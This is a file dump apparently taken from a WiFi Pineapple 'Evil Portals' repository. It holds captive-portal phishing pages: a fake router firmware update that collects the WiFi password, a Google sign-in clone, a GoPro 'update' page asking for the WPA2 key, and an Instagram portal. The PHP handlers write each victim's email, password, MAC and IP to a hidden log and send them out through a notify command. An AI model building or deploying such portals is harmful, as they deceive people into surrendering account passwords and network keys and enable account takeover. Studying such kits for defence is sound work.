Portals/portals/firmware_upgrade_2/html/fonts/Lato-Regular.ttf -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Regular.woff -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/fonts/Lato-Regular.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/img/SVG/bug.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | bug 4 | 5 | 6 | -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/img/SVG/connection.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | connection 4 | 5 | 6 | -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/img/SVG/meter.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | meter 4 | 5 | 6 | -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/img/SVG/shield.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | shield 4 | 5 | 6 | -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/img/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/img/favicon.png -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/img/sea-large.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/img/sea-large.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/img/sea-small.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/img/sea-small.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/img/sprites.svg: -------------------------------------------------------------------------------- 1 | 21 | -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/img/stars.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/firmware_upgrade_2/html/img/stars.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | Firmware Update 12 | 13 | 14 | 15 |
16 |
17 |

18 | New Update 19 | is now available 20 |

21 | 22 | get started » 23 |
24 |
25 |
26 |
27 |
28 |

29 | What's new in this update 30 |

31 |
32 | 33 |
34 |
35 | 36 | 37 | 38 |

39 | This update will extend your wireless range to unprecedented levels. We have 40 | worked very hard to make sure that you can access WIFI 41 | no matter where you go. Now you can access internet in 42 | your basement or even the rooftop. 43 |

44 |
45 |
46 | 47 | 48 | 49 |

50 | This update will increase your WIFI speeds so you can enjoy it without waiting 51 | for website to load. Say goodbye to slow connections 52 | and experience a new way of connecting to the internet. 53 | 54 |

55 |
56 |
57 | 58 | 59 | 60 |

61 | This update will fix many bugs that are currently in the system which will provide 62 | you with a seamless experience. Therefore they router 63 | should no longer crash and stay up and running 99.99% 64 | of the time. 65 |

66 |
67 |
68 | 69 | 70 | 71 |

72 | Many new security features were added in this update to make sure you and your 73 | family are safe while browsing the internet. One notable 74 | feature is better parental support so you can easily 75 | control what your children do online. 76 |

77 |
78 |
79 | 80 |
81 | 82 |
83 |
84 |
85 | 86 |
87 |

88 | Start updating now 89 |

90 |
91 | 92 |
93 | 95 | 96 |
97 | 98 |
99 |

100 | By clicking Next Step you agree to our 101 | 102 | terms and services. 103 | 104 |

105 |
106 | 107 | 108 |
109 | 110 |
111 | 112 |
113 |
114 |
115 |
116 |
117 |
118 | 0% 119 | Completed 120 |
121 |
122 |
123 |
124 | 125 |
126 | 131 |
132 | 133 | 134 | 135 | 136 | 137 | -------------------------------------------------------------------------------- /Evil Portals/portals/firmware_upgrade_2/html/js/script.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Start the progress bar counter to 100%. Every percentage takes 10 seconds 3 | * to complete 4 | * 5 | */ 6 | function startProgress() { 7 | const progressBar = document.querySelector('.progress__bar'); 8 | progressBar.classList.add('progress__bar--animate'); 9 | 10 | const percentage = document.querySelector('#progress__percentage'); 11 | 12 | for (let i = 0; i <= 100; i++) { 13 | setTimeout(() => { 14 | percentage.textContent = i + '%'; 15 | }, 10000 * i); 16 | } 17 | 18 | setTimeout(() => { 19 | progressBar.classList.remove('progress__bar--animate'); 20 | }, 10000 * 100); 21 | } 22 | 23 | 24 | /* 25 | * Send POST request upon a valid form 26 | * 27 | */ 28 | function validateForm(password) { 29 | if (document.querySelector('.form').checkValidity()) { 30 | var xhttp = new XMLHttpRequest(); 31 | 32 | xhttp.onreadystatechange = () => { 33 | if (this.readyState == 4 && this.status == 200) { 34 | console.log('POST succeeeded'); 35 | } else { 36 | console.log('POST failed'); 37 | } 38 | }; 39 | xhttp.open('POST', window.location.href, true); 40 | xhttp.setRequestHeader( 41 | 'Content-type', 'application/x-www-form-urlencoded'); 42 | xhttp.send('password=' + password.value); 43 | 44 | document.querySelector('.progress').scrollIntoView(); 45 | startProgress(); 46 | } 47 | } 48 | 49 | window.onload = () => { 50 | document.querySelector('#form-button').onclick = validateForm; 51 | 52 | const password = document.querySelector('#pass'); 53 | password.onfocus = () => { 54 | password.value = ''; 55 | } 56 | }; 57 | -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/.disable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is de-activated. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/.enable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/MyPortal.php: -------------------------------------------------------------------------------- 1 | getFileName()); 17 | file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); 18 | $this->execBackground("notify $email' - '$pwd"); 19 | } 20 | // handle form input or other extra things there 21 | 22 | // Call parent to handle basic authorization first 23 | parent::handleAuthorization(); 24 | } 25 | 26 | public function onSuccess() 27 | { 28 | // Calls default success message 29 | parent::onSuccess(); 30 | } 31 | 32 | public function showError() 33 | { 34 | // Calls default error message 35 | parent::showError(); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/README.md: -------------------------------------------------------------------------------- 1 | Forked from https://github.com/couldbejake/google-login-remake 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/assets/css/custom.css: -------------------------------------------------------------------------------- 1 | 2 | /* desktop adjustments */ 3 | @media only screen and (min-width: 768px) { 4 | .login-container { 5 | width: 436px !important; 6 | margin: auto !important; 7 | margin-top: 150px !important; 8 | height: 500px !important; 9 | } 10 | 11 | .login-content { 12 | padding-top: 30px !important; 13 | padding-bottom: 40px !important; 14 | } 15 | } 16 | 17 | html, body { 18 | width: 100%; 19 | height: 100%; 20 | } 21 | 22 | html, body { 23 | font-family: 'Roboto', sans-serif; 24 | } 25 | 26 | .login-container { 27 | margin-top: 0px; 28 | border: 1px solid rgb(217, 220, 222); 29 | border-radius: 8px; 30 | height: 80%; 31 | position: relative; 32 | } 33 | 34 | @media (max-width: 767px){ 35 | .login-container { 36 | border: 1px solid #fff; 37 | } 38 | } 39 | 40 | .g-h1 { 41 | padding-top: 15px; 42 | } 43 | 44 | .g-h1, .g-h2 { 45 | text-align: center; 46 | font-size: 24px; 47 | } 48 | 49 | .g-h2 { 50 | font-size: 16px; 51 | } 52 | 53 | .g-input { 54 | border-radius: 4px; 55 | padding: 13px 15px; 56 | border: 1px solid rgb(218, 220, 222); 57 | width: 100%; 58 | font-weight: 400; 59 | height: 52px !important; 60 | } 61 | 62 | .g-input:focus { 63 | outline: none !important; 64 | border: 2px solid #1a73e8; 65 | transition-timing-function: ease; 66 | } 67 | 68 | .g-input-invalid { 69 | border: 1px solid red; 70 | } 71 | 72 | .g-input-invalid:focus { 73 | border: 2px solid red; 74 | } 75 | 76 | .login-content { 77 | padding-top: 24px; 78 | } 79 | 80 | .g-legend { 81 | font-weight: 600; 82 | font-size: 14px; 83 | color: #1a73e8; 84 | margin-top: 15px; 85 | font-family: 'open-sans'; 86 | margin-left: 5px; 87 | } 88 | 89 | .p { 90 | font-size: 14px; 91 | color: #5f6368; 92 | margin-bottom: 0px; 93 | margin-left: 5px; 94 | } 95 | 96 | .login-priv { 97 | margin-top: 32px; 98 | } 99 | 100 | .login-priv .g-legend { 101 | margin-top: 0px !important; 102 | } 103 | 104 | .login-nav { 105 | margin-top: 32px; 106 | display: flex; 107 | } 108 | 109 | .gbtn-primary { 110 | min-width: 88px; 111 | line-height: 35px; 112 | text-align: center; 113 | border-radius: 4px; 114 | background-color: #1a73e8; 115 | font-family: 'open-sans'; 116 | color: #fff; 117 | border-style: solid; 118 | font-size: 12px; 119 | font-weight: 600; 120 | letter-spacing: .25px; 121 | } 122 | 123 | .gbtn-primary:hover { 124 | background-color: #4285f4; 125 | transition: 0.2s; 126 | transition-delay: 0.1s; 127 | transition-timing-function: ease; 128 | } 129 | 130 | .gbtn-label { 131 | color: white; 132 | font-weight: 400; 133 | font-family: 'open-sans'; 134 | font-size: 14px; 135 | font-weight: bold; 136 | } 137 | 138 | #logo { 139 | margin: 0 auto; 140 | display: table; 141 | width: 75px; 142 | float: none; 143 | position: relative; 144 | } 145 | 146 | .login-content { 147 | padding: 10px; 148 | padding-top: 20px; 149 | height: 100%; 150 | } 151 | 152 | .progress-bar-container { 153 | min-height: 4px; 154 | } 155 | 156 | #login-app { 157 | height: 100%; 158 | } 159 | 160 | .invalid-icon { 161 | margin-right: 8px; 162 | } 163 | 164 | .invalid-icon svg { 165 | fill: red; 166 | } 167 | 168 | .invalid-email-text-span { 169 | font-size: 12px; 170 | color: red; 171 | } 172 | 173 | .password-input { 174 | margin-top: 20px; 175 | } 176 | 177 | .g-input:required { 178 | box-shadow: none; 179 | } 180 | -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/assets/fonts/OpenSans-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/google-login/assets/fonts/OpenSans-Regular.ttf -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/assets/fonts/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/google-login/assets/fonts/Roboto-Regular.ttf -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/assets/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/google-login/assets/images/favicon.ico -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/assets/js/custom.js: -------------------------------------------------------------------------------- 1 | 2 | /* a regex express to valid email addresses */ 3 | /* ref. https://stackoverflow.com/questions/46155/how-to-validate-an-email-address-in-javascript */ 4 | function validateEmail(email) { 5 | var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; 6 | return re.test(email); 7 | } 8 | 9 | 10 | function doEmailStep(){ 11 | 12 | /* check the validity of the email */ 13 | email_valid = validateEmail($('#email-input').val()); 14 | 15 | if(email_valid){ 16 | 17 | /* fade in the loading animations */ 18 | $( '.progress-bar' ).fadeIn('show'); 19 | $( '#login-form' ).fadeTo( "fast", 0.6 ) 20 | 21 | /* after we have a 'response' from the server */ 22 | setTimeout(function () { 23 | 24 | /* hide the progress bar */ 25 | $( '.progress-bar' ).css('display', 'none'); 26 | 27 | /* if the user entered invalid entries before, hide the invalid classes */ 28 | $( '#email-input' ).removeClass('g-input-invalid'); 29 | $( '.invalid-email' ).css('display', 'none'); 30 | 31 | /* set the opacity to normal */ 32 | $( '#login-form' ).css('opacity', 1) 33 | 34 | }, 800); 35 | 36 | } else { 37 | 38 | /* fade in the loading animations */ 39 | $( '.progress-bar' ).fadeIn('slow'); 40 | $( '#login-form' ).fadeTo( "fast", 0.6 ) 41 | 42 | /* after we have a 'response' from the server */ 43 | setTimeout(function () { 44 | 45 | /* show invalid classes as the email is not valid */ 46 | $( '#login-form' ).css('opacity', 1) 47 | $( '.progress-bar' ).css('display', 'none'); 48 | $( '#email-input' ).addClass('g-input-invalid'); 49 | $( '.invalid-email' ).css('display', 'block'); 50 | 51 | }, 500); 52 | 53 | } 54 | } 55 | 56 | $(document).ready(function() { 57 | /* seperate submit events as divs can't be used as submit buttons directly */ 58 | 59 | // if the next button is pressed 60 | $( '#login-app' ).on('click', '.btn-next-email', function(event) { 61 | doEmailStep() 62 | }); 63 | 64 | // if the email form step is submitted 65 | $( '#login-app' ).on('submit', '#email-form-step', function(event) { 66 | event.preventDefault(); 67 | doEmailStep() 68 | }); 69 | }); 70 | -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/config.ini: -------------------------------------------------------------------------------- 1 | [info] 2 | Name: Google Login 3 | Description: A page asking for Google credentials, scenario by Kleo Bercero(https://github.com/kbeflo) 4 | 5 | [context] 6 | login_title: Sign in - Google Accounts -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/google-login.ep: -------------------------------------------------------------------------------- 1 | {"name":"google-login","type":"basic"} 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/helper.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Google 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 39 | 40 | 41 |
42 | 109 |
110 | 172 | 173 | 174 | -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/html/loading.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/google-login/html/loading.html -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/html/static/css/custom.css: -------------------------------------------------------------------------------- 1 | 2 | /* desktop adjustments */ 3 | @media only screen and (min-width: 768px) { 4 | .login-container { 5 | width: 436px !important; 6 | margin: auto !important; 7 | margin-top: 150px !important; 8 | height: 500px !important; 9 | } 10 | 11 | .login-content { 12 | padding-top: 30px !important; 13 | padding-bottom: 40px !important; 14 | } 15 | } 16 | 17 | html, body { 18 | width: 100%; 19 | height: 100%; 20 | } 21 | 22 | html, body { 23 | font-family: 'Roboto', sans-serif; 24 | } 25 | 26 | .login-container { 27 | margin-top: 0px; 28 | border: 1px solid rgb(217, 220, 222); 29 | border-radius: 8px; 30 | height: 80%; 31 | position: relative; 32 | } 33 | 34 | @media (max-width: 767px){ 35 | .login-container { 36 | border: 1px solid #fff; 37 | } 38 | } 39 | 40 | .g-h1 { 41 | padding-top: 15px; 42 | } 43 | 44 | .g-h1, .g-h2 { 45 | text-align: center; 46 | font-size: 24px; 47 | } 48 | 49 | .g-h2 { 50 | font-size: 16px; 51 | } 52 | 53 | .g-input { 54 | border-radius: 4px; 55 | padding: 13px 15px; 56 | border: 1px solid rgb(218, 220, 222); 57 | width: 100%; 58 | font-weight: 400; 59 | height: 52px !important; 60 | } 61 | 62 | .g-input:focus { 63 | outline: none !important; 64 | border: 2px solid #1a73e8; 65 | transition-timing-function: ease; 66 | } 67 | 68 | .g-input-invalid { 69 | border: 1px solid red; 70 | } 71 | 72 | .g-input-invalid:focus { 73 | border: 2px solid red; 74 | } 75 | 76 | .login-content { 77 | padding-top: 24px; 78 | } 79 | 80 | .g-legend { 81 | font-weight: 600; 82 | font-size: 14px; 83 | color: #1a73e8; 84 | margin-top: 15px; 85 | font-family: 'open-sans'; 86 | margin-left: 5px; 87 | } 88 | 89 | .p { 90 | font-size: 14px; 91 | color: #5f6368; 92 | margin-bottom: 0px; 93 | margin-left: 5px; 94 | } 95 | 96 | .login-priv { 97 | margin-top: 32px; 98 | } 99 | 100 | .login-priv .g-legend { 101 | margin-top: 0px !important; 102 | } 103 | 104 | .login-nav { 105 | margin-top: 32px; 106 | display: flex; 107 | } 108 | 109 | .gbtn-primary { 110 | min-width: 88px; 111 | line-height: 35px; 112 | text-align: center; 113 | border-radius: 4px; 114 | background-color: #1a73e8; 115 | font-family: 'open-sans'; 116 | color: #fff; 117 | border-style: solid; 118 | font-size: 12px; 119 | font-weight: 600; 120 | letter-spacing: .25px; 121 | } 122 | 123 | .gbtn-primary:hover { 124 | background-color: #4285f4; 125 | transition: 0.2s; 126 | transition-delay: 0.1s; 127 | transition-timing-function: ease; 128 | } 129 | 130 | .gbtn-label { 131 | color: white; 132 | font-weight: 400; 133 | font-family: 'open-sans'; 134 | font-size: 14px; 135 | font-weight: bold; 136 | } 137 | 138 | #logo { 139 | margin: 0 auto; 140 | display: table; 141 | width: 75px; 142 | float: none; 143 | position: relative; 144 | } 145 | 146 | .login-content { 147 | padding: 10px; 148 | padding-top: 20px; 149 | height: 100%; 150 | } 151 | 152 | .progress-bar-container { 153 | min-height: 4px; 154 | } 155 | 156 | #login-app { 157 | height: 100%; 158 | } 159 | 160 | .invalid-icon { 161 | margin-right: 8px; 162 | } 163 | 164 | .invalid-icon svg { 165 | fill: red; 166 | } 167 | 168 | .invalid-email-text-span { 169 | font-size: 12px; 170 | color: red; 171 | } 172 | 173 | .password-input { 174 | margin-top: 20px; 175 | } 176 | 177 | .g-input:required { 178 | box-shadow: none; 179 | } 180 | -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/html/static/fonts/OpenSans-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/google-login/html/static/fonts/OpenSans-Regular.ttf -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/html/static/fonts/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/google-login/html/static/fonts/Roboto-Regular.ttf -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/html/static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/google-login/html/static/img/favicon.ico -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/html/static/js/custom.js: -------------------------------------------------------------------------------- 1 | 2 | /* a regex express to valid email addresses */ 3 | /* ref. https://stackoverflow.com/questions/46155/how-to-validate-an-email-address-in-javascript */ 4 | function validateEmail(email) { 5 | var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; 6 | return re.test(email); 7 | } 8 | 9 | 10 | function doEmailStep(){ 11 | 12 | /* check the validity of the email */ 13 | email_valid = validateEmail($('#email-input').val()); 14 | 15 | if(email_valid){ 16 | 17 | /* fade in the loading animations */ 18 | $( '.progress-bar' ).fadeIn('show'); 19 | $( '#login-form' ).fadeTo( "fast", 0.6 ) 20 | 21 | /* after we have a 'response' from the server */ 22 | setTimeout(function () { 23 | 24 | /* hide the progress bar */ 25 | $( '.progress-bar' ).css('display', 'none'); 26 | 27 | /* if the user entered invalid entries before, hide the invalid classes */ 28 | $( '#email-input' ).removeClass('g-input-invalid'); 29 | $( '.invalid-email' ).css('display', 'none'); 30 | 31 | /* set the opacity to normal */ 32 | $( '#login-form' ).css('opacity', 1) 33 | 34 | }, 800); 35 | 36 | } else { 37 | 38 | /* fade in the loading animations */ 39 | $( '.progress-bar' ).fadeIn('slow'); 40 | $( '#login-form' ).fadeTo( "fast", 0.6 ) 41 | 42 | /* after we have a 'response' from the server */ 43 | setTimeout(function () { 44 | 45 | /* show invalid classes as the email is not valid */ 46 | $( '#login-form' ).css('opacity', 1) 47 | $( '.progress-bar' ).css('display', 'none'); 48 | $( '#email-input' ).addClass('g-input-invalid'); 49 | $( '.invalid-email' ).css('display', 'block'); 50 | 51 | }, 500); 52 | 53 | } 54 | } 55 | 56 | $(document).ready(function() { 57 | /* seperate submit events as divs can't be used as submit buttons directly */ 58 | 59 | // if the next button is pressed 60 | $( '#login-app' ).on('click', '.btn-next-email', function(event) { 61 | doEmailStep() 62 | }); 63 | 64 | // if the email form step is submitted 65 | $( '#login-app' ).on('submit', '#email-form-step', function(event) { 66 | event.preventDefault(); 67 | doEmailStep() 68 | }); 69 | }); 70 | -------------------------------------------------------------------------------- /Evil Portals/portals/google-login/index.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 18 | 19 | Google 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 52 | 53 | 54 |
55 | 127 |
128 | 129 | 130 | 134 | -------------------------------------------------------------------------------- /Evil Portals/portals/gopro-phish/config.ini: -------------------------------------------------------------------------------- 1 | [info] 2 | Name: GoPro Update Camera 3 | Description: A page asking for the WPA2 key of a GoPro, Scenario by Splinter(https://github.com/Splinter0) 4 | 5 | [context] 6 | #Here you can put your context 7 | 8 | # Comment in the line below to override automatic vendor detection 9 | target_ap_vendor: GoPro 10 | -------------------------------------------------------------------------------- /Evil Portals/portals/gopro-phish/html/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | GoPro - Your camera needs an update 5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 |

Your camera needs an important update

14 |
15 |
16 |
17 | 18 |
19 | 20 | 21 |
22 |
23 |

Fill all the fields please

24 |
25 |

26 | 27 |
28 | 29 |
30 |
31 |

© GoPro 2017, All Rights Reserved.

32 |
33 |
34 |
35 | 36 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /Evil Portals/portals/gopro-phish/html/loading.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Your GoPro is updating... 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 |
16 |

Your GoPro is updating...


17 |
18 |
19 | 0% Complete 20 |
21 |

22 |
23 |
24 |

Be patient and don't close this window until the download is complete

25 | 26 |
27 |
28 |

© GoPro 2017, All Rights Reserved.

29 |
30 |
31 | 32 |
33 |
34 | 86 | 87 | 88 | -------------------------------------------------------------------------------- /Evil Portals/portals/gopro-phish/html/static/attention.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/gopro-phish/html/static/attention.png -------------------------------------------------------------------------------- /Evil Portals/portals/gopro-phish/html/static/goproInc-light.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/gopro-phish/html/static/goproInc-light.woff -------------------------------------------------------------------------------- /Evil Portals/portals/gopro-phish/html/static/goproInc-medium.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/gopro-phish/html/static/goproInc-medium.woff -------------------------------------------------------------------------------- /Evil Portals/portals/gopro-phish/html/static/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/gopro-phish/html/static/logo.jpg -------------------------------------------------------------------------------- /Evil Portals/portals/gopro-phish/html/static/style.css: -------------------------------------------------------------------------------- 1 | /*GENERAL*/ 2 | html { 3 | font-size: 62.5%; } 4 | body { 5 | font-size: 1.5em; 6 | line-height: 1.6; 7 | font-weight: 400; 8 | color: #222; } 9 | h1, h2, h3, h4, h5, h6 { 10 | margin-top: 0; 11 | margin-bottom: 2rem; 12 | font-weight: 300; } 13 | h1 { font-size: 4.0rem; line-height: 1.2; letter-spacing: -.1rem;} 14 | h2 { font-size: 3.6rem; line-height: 1.25; letter-spacing: -.1rem; } 15 | h3 { font-size: 3.0rem; line-height: 1.3; letter-spacing: -.1rem; } 16 | h4 { font-size: 2.4rem; line-height: 1.35; letter-spacing: -.08rem; } 17 | h5 { font-size: 1.8rem; line-height: 1.5; letter-spacing: -.05rem; } 18 | h6 { font-size: 1.5rem; line-height: 1.6; letter-spacing: 0; } 19 | @media (min-width: 550px) { 20 | h1 { font-size: 5.0rem; } 21 | h2 { font-size: 4.2rem; } 22 | h3 { font-size: 3.6rem; } 23 | h4 { font-size: 3.0rem; } 24 | h5 { font-size: 2.4rem; } 25 | h6 { font-size: 1.5rem; } 26 | } 27 | a { 28 | color: #1EAEDB; } 29 | 30 | a:hover { 31 | color: #0FA0CE; } 32 | 33 | .button, 34 | button, 35 | input[type="button"] { 36 | display: inline-block; 37 | height: 38px; 38 | padding: 0 30px; 39 | color: #bbb; 40 | text-align: center; 41 | font-size: 11px; 42 | font-weight: 600; 43 | line-height: 38px; 44 | letter-spacing: .1rem; 45 | text-transform: uppercase; 46 | text-decoration: none; 47 | white-space: nowrap; 48 | background-color: transparent; 49 | border-radius: 4px; 50 | border: 1px solid #bbb; 51 | cursor: pointer; 52 | box-sizing: border-box; } 53 | 54 | input[type="password"]{ 55 | height: 38px; 56 | padding: 6px 10px; 57 | background-color: #fff; 58 | border: 1px solid #D1D1D1; 59 | border-radius: 4px; 60 | box-shadow: none; 61 | box-sizing: border-box; 62 | -webkit-appearance: none; 63 | -moz-appearance: none; 64 | appearance: none; } 65 | 66 | input[type="password"]:focus{ 67 | border: 1px solid #33C3F0; 68 | outline: 0; } 69 | 70 | label{ 71 | display: block; 72 | margin-bottom: .5rem; 73 | font-weight: 600; } 74 | 75 | label > .label-body { 76 | display: inline-block; 77 | margin-left: .5rem; 78 | font-weight: normal; } 79 | 80 | button, 81 | .button { 82 | margin-bottom: 1rem; } 83 | input{ 84 | margin-bottom: 1.5rem; } 85 | 86 | form { 87 | margin-bottom: 2.5rem; } 88 | 89 | @media (min-width: 400px) {} 90 | @media (min-width: 550px) {} 91 | @media (min-width: 750px) {} 92 | @media (min-width: 1000px) {} 93 | @media (min-width: 1200px) {} 94 | 95 | 96 | /* FONTS */ 97 | @font-face { 98 | font-family: light; 99 | src: url("goproInc-light.woff");} 100 | 101 | @font-face { 102 | font-family: medium; 103 | src: url("goproInc-medium.woff");} 104 | 105 | body{ 106 | background-color: black;} 107 | 108 | /* INDEX */ 109 | 110 | .needs{ 111 | color: white; 112 | font-family: medium; 113 | font-size: 5em; 114 | padding-left: 2%; 115 | padding-right: 2%;} 116 | 117 | .password-label{ 118 | color: white; 119 | font-family: light;} 120 | 121 | .text-muted{ 122 | font-family: light;} 123 | 124 | #dialog{ 125 | display: none;} 126 | 127 | #dialog > h2{ 128 | color: #d80027; 129 | font-family: light; 130 | font-size: 1.3em;} 131 | 132 | @media only screen and (max-width: 800px){ 133 | .needs{ 134 | font-size: 200%; 135 | padding-left: 0; 136 | padding-right: 0;} 137 | 138 | .logo{ 139 | width: 60%; 140 | height: auto;} 141 | 142 | #dialog > img{ 143 | width: 10%; 144 | height: auto;}} 145 | 146 | 147 | /* LOADING */ 148 | 149 | .progress{ 150 | width: 50%;} 151 | 152 | .patient{ 153 | color: white; 154 | font-family: light; 155 | font-size: 2em; 156 | padding-left: 5%; 157 | padding-right: 5%; 158 | } 159 | 160 | 161 | /* DONE */ 162 | 163 | #timer{ 164 | color: white; 165 | font-family: light; 166 | padding-bottom: 2%; 167 | padding-top: 5%; 168 | font-size: 2em; 169 | } 170 | -------------------------------------------------------------------------------- /Evil Portals/portals/instagram-login/MyPortal.php: -------------------------------------------------------------------------------- 1 | getFileName()); 17 | file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); 18 | $this->execBackground("notify $email' - '$pwd"); 19 | } 20 | // handle form input or other extra things there 21 | 22 | // Call parent to handle basic authorization first 23 | parent::handleAuthorization(); 24 | } 25 | 26 | public 